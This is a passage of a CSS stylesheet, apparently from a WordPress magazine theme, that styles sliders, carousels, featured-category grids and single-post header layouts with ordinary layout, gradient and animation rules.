	background: -ms-linear-gradient(to bottom, transparent 50%, rgba(0, 0, 0, 1) 100%);
	background: linear-gradient(to bottom, transparent 50%, rgba(0, 0, 0, 1) 100%);
	transition: all .4s ease-in;
	-webkit-transition: all .4s ease-in;
	-moz-transition: all .4s ease-in;
	opacity: .7
}
.penci-single-mag-slider .magcat-thumb:hover .mag-single-slider-overlay {
	opacity: .85
}
.penci-single-mag-slider .magcat-detail {
	position: absolute;
	z-index: 3;
	left: 0;
	bottom: 0;
	width: 100%;
	padding: 25px 30px
}
.penci-single-mag-slider .magcat-detail .magcat-titlte {
	font-size: 24px;
	margin: 0;
	line-height: 1.3;
	opacity: 0;
	-webkit-animation-fill-mode: both;
	-moz-animation-fill-mode: both;
	-ms-animation-fill-mode: both;
	-o-animation-fill-mode: both;
	animation-fill-mode: both;
	-webkit-animation-duration: 1s;
	-moz-animation-duration: 1s;
	-ms-animation-duration: 1s;
	-o-animation-duration: 1s;
	animation-duration: 1s;
	-webkit-animation-delay: .5s;
	-moz-animation-delay: .5s;
	-o-animation-delay: .5s;
	animation-delay: .5s
}
.penci-single-mag-slider .magcat-detail .magcat-titlte a {
	font-size: inherit;
	color: #fff;
	line-height: inherit
}
.penci-single-mag-slider .magcat-detail .magcat-titlte a:hover {
	color: #fff
}
.home-featured-cat-content .penci-single-mag-slider .grid-post-box-meta {
	margin-top: 8px;
	opacity: 0;
	-webkit-animation-fill-mode: both;
	-moz-animation-fill-mode: both;
	-ms-animation-fill-mode: both;
	-o-animation-fill-mode: both;
	animation-fill-mode: both;
	-webkit-animation-duration: 1s;
	-moz-animation-duration: 1s;
	-ms-animation-duration: 1s;
	-o-animation-duration: 1s;
	animation-duration: 1s;
	-webkit-animation-delay: .7s;
	-moz-animation-delay: .7s;
	-o-animation-delay: .7s;
	animation-delay: .7s
}
.penci-single-mag-slider .active .grid-post-box-meta,
.penci-single-mag-slider .active .magcat-detail .magcat-titlte {
	-webkit-animation-name: pencifadeInUp;
	-moz-animation-name: pencifadeInUp;
	-o-animation-name: pencifadeInUp;
	animation-name: pencifadeInUp
}
.penci-single-mag-slider .grid-post-box-meta span,
.penci-single-mag-slider .grid-post-box-meta span a {
	color: #fff
}
body .penci-slider.penci-single-mag-slider ol.penci-control-nav li {
	margin: 0 4px
}
.penci-magcat-carousel-wrapper {
	margin-left: -15px;
	margin-right: -15px
}
.home-featured-cat-content.style-12 .penci-magcat-carousel-wrapper {
	margin-left: -10px;
	margin-right: -10px
}
.penci-magcat-carousel .magcat-carousel {
	padding: 0 15px;
	transition: opacity .25s ease-in;
	-webkit-transition: opacity .25s ease-in;
	-moz-transition: opacity .25s ease-in
}
.home-featured-cat-content.style-12 .penci-magcat-carousel .magcat-carousel {
	padding: 0 10px
}
.penci-magcat-carousel .magcat-thumb .mag-post-thumb {
	transition: opacity .3s;
	-webkit-transition: opacity .3s;
	-moz-transition: opacity .3s;
	margin: 0 0 24px 0;
	float: none;
	display: inline-block;
	vertical-align: top;
	width: 100%
}
.penci-magcat-carousel .magcat-thumb .mag-post-thumb:hover {
	opacity: .9
}
.home-featured-cat-content .penci-magcat-carousel .magcat-detail h3 a {
	font-size: 18px
}
.home-featured-cat-content.style-7 .penci-grid>li {
	margin-bottom: 26px
}
.home-featured-cat-content.style-7 .grid-header-box {
	text-align: left
}
.home-featured-cat-content.style-7 .grid-overlay-meta .grid-header-box,
.magazine-layout.magazine-2 .grid-header-box {
	margin-left: 0;
	padding-left: 0
}
.home-featured-cat-content.style-7 .grid-header-box:after {
	margin: 0;
	left: 0
}
.home-featured-cat-content.style-7 .penci-grid li .item h2 a {
	text-transform: none;
	letter-spacing: 0
}
.home-featured-cat-content.style-10 .mag-post-box,
.home-featured-cat-content.style-9 .mag-post-box {
	width: 48.0745%;
	float: left;
	margin-right: 3.851%;
	border-bottom: none
}
.home-featured-cat-content.style-10 .mag-post-box:nth-child(2n+1),
.home-featured-cat-content.style-9 .mag-post-box:nth-child(2n+1) {
	clear: both
}
.home-featured-cat-content.style-10 .mag-post-box:nth-child(2n+2),
.home-featured-cat-content.style-9 .mag-post-box:nth-child(2n+2) {
	margin-right: 0
}
.home-featured-cat-content.style-9 .mag-post-box.first-post {
	border-bottom: none;
	padding-bottom: 0;
	margin-bottom: 0
}
.home-featured-cat-content.style-10 .mag-post-box.first-post {
	margin-bottom: 30px
}
@media only screen and (min-width:768px) {
	.home-featured-cat-content.style-10 .mag-post-box:nth-last-child(2),
	.home-featured-cat-content.style-6 .cat-right .mag-post-box:nth-last-child(2),
	.home-featured-cat-content.style-9 .mag-post-box:nth-last-child(2) {
		margin-bottom: 0;
		padding: 0;
		border-bottom: 0
	}
}
.home-featured-cat-content.style-11 .mag-photo .magcat-detail {
	-webkit-transform: translateY(-50%);
	-ms-transform: translateY(-50%);
	transform: translateY(-50%);
	bottom: auto;
	top: 50%;
	text-align: center;
	padding: 10px 20px
}
.home-featured-cat-content.style-12 .penci-magcat-carousel .magcat-thumb .mag-post-thumb {
	margin-bottom: 18px
}
.home-featured-cat-content.style-12 .penci-magcat-carousel .magcat-detail h3 a {
	font-size: 15px
}
.home-featured-cat-content.style-12 .magcat-detail .mag-meta {
	font-size: 13px;
	margin-top: 5px
}
@media only screen and (min-width:1170px) {
	ul.penci-grid.penci-fea-cat-style-13 {
		--pcrgap: 20px;
		row-gap: 20px
	}
	.container.penci_sidebar .penci-grid.penci-fea-cat-style-13>li,
	.penci-grid.penci-fea-cat-style-13>li {
		margin-bottom: 0 !important
	}
}
.penci-grid.penci-fea-cat-style-13>li.grid-style {
	text-align: left
}
.penci-grid.penci-fea-cat-style-13 li .item>.thumbnail {
	margin-bottom: 18px
}
.penci-grid.penci-fea-cat-style-13 li .item h2 a {
	font-size: 15px;
	text-transform: none;
	letter-spacing: 0;
	line-height: 1.4
}
.penci-fea-cat-style-13 .grid-post-box-meta {
	font-size: 13px;
	margin-top: 5px
}
.penci-fea-cat-style-13 .grid-header-box {
	padding-bottom: 0
}
.penci-fea-cat-style-13 .grid-header-box:after {
	content: none
}
.home-featured-cat-content.style-14 .first-post .magcat-detail {
	position: absolute;
	bottom: 0;
	left: 0;
	width: 100%;
	padding: 0 17px;
	z-index: 10
}
.home-featured-cat-content.style-14 .first-post .magcat-detail .mag-header:after {
	content: none
}
.home-featured-cat-content.style-14 .mag-post-box {
	margin-bottom: 10px;
	padding-bottom: 10px
}
.home-featured-cat-content.style-14 .mag-post-box:last-child {
	margin: 0;
	padding: 0
}
.home-featured-cat-content.style-14 .first-post .magcat-detail .mag-header {
	margin-bottom: 14px;
	padding-bottom: 0
}
.home-featured-cat-content.style-14 .first-post .magcat-detail h3 a {
	font-size: 16px
}
.home-featured-cat-content.style-14 .first-post .magcat-detail h3 a,
.home-featured-cat-content.style-14 .first-post .magcat-detail h3 a:hover {
	color: #fff
}
.home-featured-cat-content.style-14 .mag-meta {
	color: #fff;
	font-size: 13px;
	margin-top: 5px
}
.home-featured-cat-content.style-14 .mag-meta span,
.home-featured-cat-content.style-14 .mag-meta span a {
	color: inherit
}
.home-featured-cat-content .magcat-detail .magcat-title-small a {
	font-size: 14px;
	font-weight: 400
}
.home-featured-cat-content.style-14 .mag-post-box.first-post .magcat-thumb {
	margin-bottom: 0
}
.home-featured-cat-content.style-14 .magcat-padding {
	padding-left: 17px;
	position: relative
}
.home-featured-cat-content.style-14 .magcat-padding:before {
	content: "";
	width: 4px;
	height: 4px;
	border: 1px solid var(--pcaccent-cl);
	position: absolute;
	left: 0;
	top: 6px
}
.home-featured-cat-content.style-14 .mag-post-box .magcat-thumb:hover {
	opacity: 1
}
.home-featured-cat-content.style-14 .penci-image-holder:after,
.home-featured-cat-content.style-15 .mag-post-box.first-post .penci-image-holder:after {
	bottom: 0;
	content: "";
	display: block;
	height: 90%;
	width: 100%;
	position: absolute;
	z-index: 1;
	background: -moz-linear-gradient(top, transparent 50%, #000 100%);
	background: -webkit-linear-gradient(top, transparent 50%, #000 100%);
	background: -o-linear-gradient(top, transparent 50%, #000 100%);
	background: -ms-linear-gradient(top, transparent 50%, #000 100%);
	background: linear-gradient(to bottom, transparent 50%, #000 100%);
	opacity: .5;
	transition: opacity .3s;
	-webkit-transition: opacity .3s;
	-moz-transition: opacity .3s
}
.home-featured-cat-content.style-14 .magcat-thumb:hover .penci-image-holder:after,
.home-featured-cat-content.style-15 .mag-post-box.first-post:hover .penci-image-holder:after {
	opacity: .8
}
@media only screen and (min-width:768px) {
	.home-featured-cat-content.style-15 {
		display: -ms-flexbox;
		display: flex;
		-ms-flex-wrap: wrap;
		flex-wrap: wrap;
		align-items: center
	}
	.home-featured-cat.mag-cat-style-15 .cat-left,
	.home-featured-cat.mag-cat-style-15 .cat-right {
		-ms-flex: 0 0 50%;
		flex: 0 0 50%;
		float: none;
		display: block;
		width: auto
	}
}
.home-featured-cat-content.style-15 {
	border: 1px solid var(--pcborder-cl)
}
.home-featured-cat.mag-cat-style-15 .cat-left {
	padding: 0;
	margin: -1px -1px 0 -1px;
	width: calc(100% + 2px)
}
@media only screen and (min-width:768px) {
	.home-featured-cat.mag-cat-style-15 .cat-left {
		margin: -1px 0 0 -1px;
		width: calc(100% + 1px)
	}
}
.home-featured-cat.mag-cat-style-15 .cat-right {
	padding: 20px
}
.home-featured-cat-content.style-15 .mag-post-box.first-post .magcat-thumb {
	margin: 0
}
.home-featured-cat.mag-cat-style-15 .mag-post-box {
	position: relative
}
.home-featured-cat-content.style-15 .first-post .magcat-thumb:hover {
	opacity: 1
}
.home-featured-cat-content.style-15 .first-post .magcat-detail .mag-header {
	padding: 20px;
	margin: 0;
	position: absolute;
	left: 0;
	bottom: 0;
	width: 100%;
	z-index: 5
}
.home-featured-cat-content.style-15 .first-post .magcat-detail .mag-header:after {
	content: none;
	display: none
}
.home-featured-cat-content.style-15 .first-post .grid-post-box-meta span,
.home-featured-cat-content.style-15 .first-post .grid-post-box-meta span a,
.home-featured-cat-content.style-15 .first-post .magcat-detail h3 a {
	color: #fff
}
.home-featured-cat-content.style-15 .penci-image-holder.small-fix-size {
	width: 100px
}
.penci-home-popular-posts {
	padding: 25px 0 0;
	border: none;
	border-top: 1px solid #dedede;
	position: relative;
	margin-bottom: 60px
}
.penci-popular-posts-sc.hide-heading .penci-home-popular-posts,
.penci-popular-posts-sc .penci-home-popular-posts:not(.use-heading-default) {
	border-top: 0;
	padding-top: 0
}
.penci-home-popular-post,
.swiper.penci-home-popular-post {
	margin-left: -10px;
	margin-right: -10px;
	width: 100%;
	width: calc(100% + 20px)
}
.penci-home-popular-post .item-related h3 a {
	text-transform: uppercase
}
.home-pupular-posts-title {
	position: absolute;
	left: 0;
	width: 100%;
	top: 0;
	transform: translateY(-55%);
	-webkit-transform: translateY(-55%);
	-moz-transform: translateY(-55%);
	text-align: center;
	font-size: 18px;
	color: #313131;
	text-transform: uppercase
}
.home-pupular-posts-title a,
.home-pupular-posts-title span {
	font-size: inherit;
	color: inherit;
	padding: 0 18px;
	line-height: 1;
	display: inline-block;
	background: #fff;
	text-decoration: none !important
}
.home-pupular-posts-title.pcalign-right {
	text-align: right
}
.home-pupular-posts-title.pcalign-left {
	text-align: left
}
.home-pupular-posts-title.pcalign-left a,
.home-pupular-posts-title.pcalign-left span {
	padding-left: 0
}
.home-pupular-posts-title.pcalign-right a,
.home-pupular-posts-title.pcalign-right span {
	padding-right: 0
}
article.portfolio,
article.post,
article.type-post {
	margin-bottom: 60px
}
.penci-layout-classic-boxed-1 article.post,
.penci-layout-classic-grid article.post,
.penci-layout-classic-list article.post,
.penci-layout-standard-boxed-1 article.post,
.penci-layout-standard-grid article.post,
.penci-layout-standard-list article.post {
	margin-bottom: 60px
}
.single .post {
	margin-bottom: 60px
}
.penci-jarallax {
	width: 100%;
	padding-top: 50%;
	position: relative;
	z-index: 0
}
.penci-jarallax>.jarallax-img {
	position: absolute;
	object-fit: cover;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: -1
}
.post-image .mejs-container,
.post-image .mejs-overlay.load,
.post-image .wp-video,
.post-image video.wp-video-shortcode {
	width: 100% !important;
	height: 100% !important
}
.post-image .mejs-container {
	padding-top: 56.25%
}
.post-image .wp-video,
.post-image video.wp-video-shortcode {
	max-width: 100% !important
}
.post-image video.wp-video-shortcode {
	position: relative
}
.post-image .mejs-mediaelement {
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0
}
.post-image .mejs-controls {
	z-index: 0 !important
}
.post-image .mejs-overlay-play {
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	width: auto !important;
	height: auto !important
}
.post-image .mejs-container.wp-audio-shortcode {
	padding-top: 0 !important
}
.container-single-fullwidth.two-sidebar .post-image {
	display: block;
	width: 100%
}
.penci-single-style-3:not(.penci-single-pheader-noimg).penci_sidebar #main article.post,
.penci-single-style-7:not(.penci-single-pheader-noimg).penci_sidebar #main article.post {
	padding-left: 10px;
	padding-right: 10px
}
.penci-single-style-16:not(.penci-single-pheader-noimg).penci_sidebar #main article.post {
	padding-left: 40px;
	padding-right: 40px;
	margin-left: 40px;
}
@media only screen and (min-width:961px) {
	.penci-single-style-3:not(.penci-single-pheader-noimg).container.penci_sidebar #main,
	.penci-single-style-16:not(.penci-single-pheader-noimg).container.penci_sidebar #main,
	.penci-single-style-7:not(.penci-single-pheader-noimg).container.penci_sidebar #main {
		position: relative;
		z-index: 10;
		padding-right: 30px
	}
	.penci-single-style-3:not(.penci-single-pheader-noimg).container.penci_sidebar.two-sidebar #main,
	.penci-single-style-16:not(.penci-single-pheader-noimg).container.penci_sidebar.two-sidebar #main,
	.penci-single-style-7:not(.penci-single-pheader-noimg).container.penci_sidebar.two-sidebar #main {
		padding-right: 50px
	}
	.penci-single-style-3:not(.penci-single-pheader-noimg) #main article.post,
	.penci-single-style-7:not(.penci-single-pheader-noimg) #main article.post {
		margin-top: -80px
	}
	.penci-single-style-16:not(.penci-single-pheader-noimg) #main article.post {
		margin-top: -220px;
	}
	.penci-single-style-3.penci_is_nosidebar #main article.post,
	.penci-single-style-16.penci_is_nosidebar #main article.post,
	.penci-single-style-7.penci_is_nosidebar #main article.post {
		margin-top: 0
	}
	.penci-single-style-3:not(.penci-single-pheader-noimg).container.penci_sidebar.left-sidebar #main,
	.penci-single-style-16:not(.penci-single-pheader-noimg).container.penci_sidebar.left-sidebar #main,
	.penci-single-style-7:not(.penci-single-pheader-noimg).container.penci_sidebar.left-sidebar #main {
		padding-left: 40px;
		padding-right: 0
	}
	.penci-single-style-3:not(.penci-single-pheader-noimg).penci_sidebar #main article.post,
	.penci-single-style-7:not(.penci-single-pheader-noimg).penci_sidebar #main article.post {
		background: #fff;
		padding-top: 20px
	}
	.penci-single-style-16:not(.penci-single-pheader-noimg).penci_sidebar #main article.post {
		background: #fff;
		padding-top: 40px
	}
	.penci-single-style-14:not(.penci-single-pheader-noimg).penci_sidebar #main article.post {
		background: #fff;
		padding-top: 40px;
		margin-top: -80px;
		position: relative;
		margin-left: 40px;
		padding-left: 40px;
	}
	.penci-single-style-17:not(.penci-single-pheader-noimg).penci_sidebar #main article.post {
		padding-left: 40px;
	}
	.penci-single-style-16:not(.penci-single-pheader-noimg).right-sidebar #main article.post {
		padding-left: 40px;
	}
	.penci-single-style-7:not(.penci-single-pheader-noimg).right-sidebar #main article.post {
		padding-left: 20px
	}
	.penci-single-style-3:not(.penci-single-pheader-noimg).right-sidebar #main article.post {
		padding-right: 20px;
		padding-left: 0
	}
	.penci-single-style-3:not(.penci-single-pheader-noimg).left-sidebar #main article.post,
	.penci-single-style-16:not(.penci-single-pheader-noimg).left-sidebar #main article.post,
	.penci-single-style-7:not(.penci-single-pheader-noimg).left-sidebar #main article.post {
		padding-left: 20px
	}
	.penci-single-style-3:not(.penci_is_nosidebar) .standard-content-special,
	.penci-single-style-3:not(.penci_is_nosidebar) .standard-post-image .audio-iframe {
		bottom: 70px
	}
}
@media only screen and (min-width:1200px) {
	.penci-single-style-17 .penci-sidebar-right {
	  border-left: 1px solid var(--pcborder-cl);
	  padding-left: 30px;
	}
	.penci-single-style-17 .penci-sidebar-left {
	  border-right: 1px solid var(--pcborder-cl);
	  padding-right: 30px;
	}
}
.penci-single-4 .standard-post-special img {
	width: 100%
}
.penci-body-single-style-13.penci-show-pthumb:not(.penci-port-product) #header,
.penci-body-single-style-13.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,
.penci-body-single-style-21.penci-show-pthumb:not(.penci-port-product) #header,
.penci-body-single-style-21.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,
.penci-body-single-style-18.penci-show-pthumb:not(.penci-port-product) #header,
.penci-body-single-style-18.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,
.penci-body-single-style-16.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) #header,
.penci-body-single-style-16.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,
.penci-body-single-style-15.penci-show-pthumb:not(.penci-port-product) #header,
.penci-body-single-style-15.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,
.penci-body-single-style-12.penci-show-pthumb:not(.penci-port-product) #header,
.penci-body-single-style-12.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,
.penci-body-single-style-11.penci-show-pthumb:not(.penci-port-product) #header,
.penci-body-single-style-11.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,
.penci-body-single-style-10.penci-show-pthumb:not(.penci-port-product) #header,
.penci-body-single-style-10.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,
.penci-body-single-style-20.penci-show-pthumb:not(.penci-port-product) #header,
.penci-body-single-style-20.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,
.penci-body-single-style-4.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) #header,
.penci-body-single-style-4.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,
.penci-body-single-style-5.penci-show-pthumb:not(.penci-port-product) #header,
.penci-body-single-style-5.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,
.penci-body-single-style-7.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) #header,
.penci-body-single-style-7.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,
.penci-body-single-style-9.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) #header,
.penci-body-single-style-9.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header {
	margin-bottom: 0
}
.penci-body-single-style-10.penci-show-pthumb:not(.penci-port-product) .penci-header-signup-form,
.penci-body-single-style-20.penci-show-pthumb:not(.penci-port-product) .penci-header-signup-form,
.penci-body-single-style-4.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) .penci-header-signup-form,
.penci-body-single-style-5.penci-show-pthumb:not(.penci-port-product) .penci-header-signup-form,
.penci-body-single-style-7.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) .penci-header-signup-form,
.penci-body-single-style-16.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) .penci-header-signup-form,
.penci-body-single-style-9.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) .penci-header-signup-form {
	margin-top: 10px;
	margin-bottom: 10px
}
.penci-body-single-style-4.single-format-video .post-image iframe,
.penci-body-single-style-5.single-format-video .post-image iframe,
.penci-body-single-style-7.single-format-video .post-image iframe,
.penci-body-single-style-16.single-format-video .post-image iframe,
.penci-video-format-vimeo iframe,
.penci-video-format-youtube iframe,
.standard-post-image.video-post iframe {
	width: 100%
}
.penci-video-format-youtube iframe,
.standard-post-image.video-post iframe {
	aspect-ratio: 16/9;
	height: auto
}
.standard-post-image.video-post .fluid-width-video-wrapper iframe {
	height: 100%;
	aspect-ratio: unset
}
.penci-video-format-youtube .fluid-width-video-wrapper iframe {
	aspect-ratio: unset
}
.player .vp-player-layout {
	left: 0 !important;
	width: 100% !important
}
.penci-single-featured-img {
	position: relative;
	width: 100%;
	background-color: #f5f5f5;
	display: block;
	vertical-align: top;
	background-repeat: no-repeat;
	background-position: center center;
	background-size: cover;
	-webkit-background-size: cover;
	-moz-background-size: cover;
	-o-background-size: cover;
	padding-top: 66.6667%
}
.standard-post-special_wrapper {
	position: absolute;
	left: 30px;
	right: 30px;
	bottom: 0;
	display: block;
	z-index: 10
}
.penci-single-style-21 .post-image {
	position: relative;
}
.penci-single-style-21 .post-image:after {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	background: rgba(74, 76, 83, 0.79);
	z-index: 1;
	content: '';
	background-image: url('data:image/svg+xml,<%3Fxml version="1.0" encoding="UTF-8"%3F><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="150" height="1" viewBox="0 0 151 1"><defs><clipPath id="clip-Custom_Size_1"><rect width="150" height="1" transform="translate(150 1801)"/></clipPath></defs><g id="Custom_Size_1" data-name="Custom Size – 1" transform="translate(0 -1801)" clip-path="url(%23clip-Custom_Size_1)"><rect width="1" height="5000" transform="translate(150 900.466)" fill="%23ffffff" opacity=".05"/></g></svg>');
}
.penci-single-style-21 .standard-post-special_wrapper {
	z-index: 3;
}
.penci-single-style-21 .standard-post-special_wrapper {
	top: 50%;
	transform: translateY(-50%);
	bottom: auto;
}  
.penci-single-style-21 .header-standard.header-classic {
	margin-bottom: 0;
}
.penci-author-img-wrapper .author {
	display: flex;
	flex-wrap: wrap;
	align-items: center;
	column-gap: 10px;
	justify-content: center;
	margin-top: 20px;
}
.penci-author-img-wrapper .author img {
	border-radius: 50%;
	max-width: 60px;
	height: auto;
}
.penci-author-img-wrapper .author-name {
	color: #fff;
	font-size: 16px;
}
.standard-post-image .standard-post-special_wrapper .audio-iframe,
.standard-post-special_wrapper .standard-content-special {
	position: static;
	margin-bottom: 23px
}
.penci-body-single-style-7 .standard-post-image .standard-post-special_wrapper .audio-iframe,
.penci-body-single-style-7 .standard-post-special_wrapper .standard-content-special,
.penci-body-single-style-11 .standard-post-image .standard-post-special_wrapper .audio-iframe,
.penci-body-single-style-11 .standard-post-special_wrapper .standard-content-special {
	margin-bottom: 70px
}
.penci-body-single-style-12 .standard-post-image .standard-post-special_wrapper .audio-iframe {
	margin-left: -40px;
	margin-right: -40px;
}
@media only screen and (min-width: 961px) {
	.penci-body-single-style-14 .standard-post-special .standard-content-special,
	.penci-body-single-style-14 .standard-post-image .audio-iframe {
		bottom: 80px;
		left: 40px;
	}
	.penci-body-single-style-15 .standard-post-special_wrapper .standard-content-special,
	.penci-body-single-style-15 .standard-post-image .audio-iframe {
		max-width: calc(var(--pcctain) - 60px);
	}
	.penci-body-single-style-16 .standard-content-special,
	.penci-body-single-style-16 .standard-post-image .audio-iframe {
		bottom: 220px;
		left: 40px;
		right: 40px;
	}
}
.penci-body-single-style-7 .penci_is_nosidebar .standard-post-image .standard-post-special_wrapper .audio-iframe,
.penci-body-single-style-7 .penci_is_nosidebar .standard-post-special_wrapper .standard-content-special {
	margin-bottom: 30px
}
.penci-body-single-style-5 .container-single .post-image {
	position: relative
}
.penci-body-single-style-5 .penci-move-title-above:after,
.penci-body-single-style-6 .penci-move-title-above:after,
.penci-body-single-style-7 .penci-move-title-above:after,
.penci-body-single-style-8 .penci-move-title-above:after {
	content: "";
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	background: #000;
	z-index: 1;
	bottom: 0;
	right: 0;
	background: linear-gradient(to bottom, transparent 50%, #000 90%);
	opacity: .7;
	transition: .3s
}
.penci-single-style-3 .single-breadcrumb,
.penci-single-style-4 .single-breadcrumb,
.penci-single-style-5 .single-breadcrumb,
.penci-single-style-6 .single-breadcrumb,
.penci-single-style-7 .single-breadcrumb,
.penci-single-style-9 .single-breadcrumb {
	text-align: center
}
.penci-single-pheader .container.two-sidebar,
.penci-single-pheader.container.two-sidebar,
.penci-single-style-10.container-single-magazine .container.two-sidebar,
.penci-single-style-20.container-single-magazine .container.two-sidebar,
.penci-single-style-13.container-single-magazine .container.two-sidebar,
.penci-single-style-15.container-single-magazine .container.two-sidebar,
.penci-single-style-9.container-single-magazine .container.two-sidebar {
	display: block
}
.penci-single-style-13.container-single-magazine .two-sidebar .penci-sidebar-content,
.penci-single-style-15.container-single-magazine .two-sidebar .penci-sidebar-content,
.penci-single-style-10.container-single-magazine .two-sidebar .penci-sidebar-content,
.penci-single-style-20.container-single-magazine .two-sidebar .penci-sidebar-content {
	width: 29.06%
}
@media only screen and (min-width: 1170px){
	.penci-body-single-style-11 .post-image:after {
		content: "";
		position: absolute;
		top: 0;
		left: 0;
		width: 100%;
		height: 100%;
		background: var(--pcbg-cl);
		z-index: 1;
		bottom: 0;
		right: 0;
		background: linear-gradient(to bottom, transparent 20%, var(--pcbg-cl) 100%);
		transition: .3s;
	}
}
@media only screen and (max-width: 1169px){
	.penci-body-single-style-11 .container.penci-breadcrumb {
		margin-top: 0;
	}
}
.penci-body-single-style-18 .penci-post-content-wrapper {
	background: linear-gradient(to top, var(--pcaccent-cl) 0%, rgba(255,255,255, 0.8) 100%);
	padding-top: 120px;
}
.penci-body-single-style-18 .penci-post-content-wrapper-inner {
	background: #fff;
	padding: 40px 40px 10px 40px;
}
.container.penci-single-style-18 {
	background: #fff;
	padding: 40px;
	overflow: hidden;
	box-shadow: 0 15px 35px 0 rgba(175, 181, 204, 0.35);
}
.penci-body-single-style-18 .container-single-fullwidth .post-image {
	margin-bottom: 0;
}
.penci-body-single-style-19 .header-standard {
	border-bottom: 1px solid var(--pcborder-cl);
	padding-bottom: 30px;
	margin-bottom: 35px;
}
@media only screen and (min-width:768px) {
	.container-single.penci-header-text-white .header-standard .post-title,
	.penci-header-text-white .cat>a.penci-cat-name,
	.penci-header-text-white .container.penci-breadcrumb a,
	.penci-header-text-white .container.penci-breadcrumb i,
	.penci-header-text-white .container.penci-breadcrumb span,
	.penci-header-text-white .header-standard .author-post span a,
	.penci-header-text-white .header-standard .post-title,
	.penci-header-text-white .header-standard h2,
	.penci-header-text-white .header-standard h2 a,
	.penci-header-text-white .pc_titlebig_standard,
	.penci-header-text-white .pc_titlebig_standard a,
	.penci-header-text-white .post-box-meta-single span,
	.penci-single-style-5.penci-header-text-white .penci-standard-cat .cat>a.penci-cat-name,
	.penci-single-style-6.penci-header-text-white .penci-standard-cat .cat>a.penci-cat-name,
	.penci-single-style-8.penci-header-text-white .penci-standard-cat .cat>a.penci-cat-name,
	.penci-single-style-11.penci-header-text-white .penci-standard-cat .cat>a.penci-cat-name {
		color: #fff
	}
}
.penci-single-style-10.penci-header-text-white .header-standard .author-post span a,
.penci-single-style-10.penci-header-text-white .header-standard .post-title,
.penci-single-style-10.penci-header-text-white .header-standard h2,
.penci-single-style-10.penci-header-text-white .header-standard h2 a,
.penci-single-style-10.penci-header-text-white .pc_titlebig_standard,
.penci-single-style-10.penci-header-text-white .pc_titlebig_standard a,
.penci-single-style-10.penci-header-text-white .penci-standard-cat .cat>a.penci-cat-name,
.penci-single-style-13.penci-header-text-white .post-box-meta-single span,
.penci-single-style-13.penci-header-text-white .header-standard .author-post span a,
.penci-single-style-13.penci-header-text-white .header-standard .post-title,
.penci-single-style-13.penci-header-text-white .header-standard h2,
.penci-single-style-13.penci-header-text-white .header-standard h2 a,
.penci-single-style-13.penci-header-text-white .pc_titlebig_standard,
.penci-single-style-13.penci-header-text-white .pc_titlebig_standard a,
.penci-single-style-13.penci-header-text-white .penci-standard-cat .cat>a.penci-cat-name,
.penci-single-style-13.penci-header-text-white .post-box-meta-single span {
	color: #fff
}
i.penci-post-countview-number {
	font-style: normal;
	font-size: inherit;
	font-weight: inherit;
	color: inherit
}
@media only screen and (max-width:767px) {
	.standard-post-special_wrapper {
		position: static;
		background: #fff;
		margin-bottom: 0;
		padding-top: 20px
	}
	.penci-single-style-16 .standard-post-special_wrapper,
	.penci-single-style-7 .standard-post-special_wrapper {
		background: 0 0
	}
	.penci-header-text-white .standard-post-special_wrapper .header-standard.header-classic {
		margin-bottom: 0
	}
	.penci-header-text-white .penci-move-title-above:after,
	.penci-header-text-white .standard-post-special_wrapper .container-single .post-image:after {
		content: none
	}
	.standard-post-image .standard-post-special_wrapper .audio-iframe,
	.standard-post-special_wrapper .standard-content-special {
		margin-bottom: 20px
	}
	.penci-header-text-white .format-post-box {
		display: block;
		padding: 20px
	}
	.penci-header-text-white .standard-content-special {
		box-shadow: none;
		-webkit-box-shadow: none;
		-moz-box-shadow: none
	}
	.pcsb-ft-o .standard-post-special_wrapper {
		position: absolute;
		left: 15px;
		right: 15px;
		bottom: 0;
		display: block;
		z-index: 10;
		background: unset;
		padding: 0
	}
}
.penci-single-style-9 .penci-post-image-wrapper {
	background-color: #111;
	padding-top: 40px;
	padding-bottom: 40px;
	margin-bottom: 40px;
	max-height: inherit
}
.penci-single-style-13 .penci-post-image-wrapper .post-image,
.penci-single-style-15 .penci-post-image-wrapper .post-image,
.penci-single-style-20 .penci-post-image-wrapper .post-image,
.penci-single-style-10 .penci-post-image-wrapper .post-image,
.penci-single-style-9 .penci-post-image-wrapper .post-image {
	margin-bottom: 0
}
.penci-single-style-10 .post-format-entry-header:after,
.penci-single-style-10 .post-format-entry-header:before,
.penci-single-style-15 .post-format-entry-header:after,
.penci-single-style-15 .post-format-entry-header:before,
.penci-single-style-13 .post-format-entry-header:after,
.penci-single-style-13 .post-format-entry-header:before {
	content: "";
	display: table;
	clear: both
}
.penci-single-style-10 .penci-post-image-wrapper {
	background-color: #111;
	padding-top: 40px;
	padding-bottom: 40px;
	max-height: inherit;
	margin-bottom: 40px
}
.penci-single-style-20 .post-format-entry-header {
	display: flex;
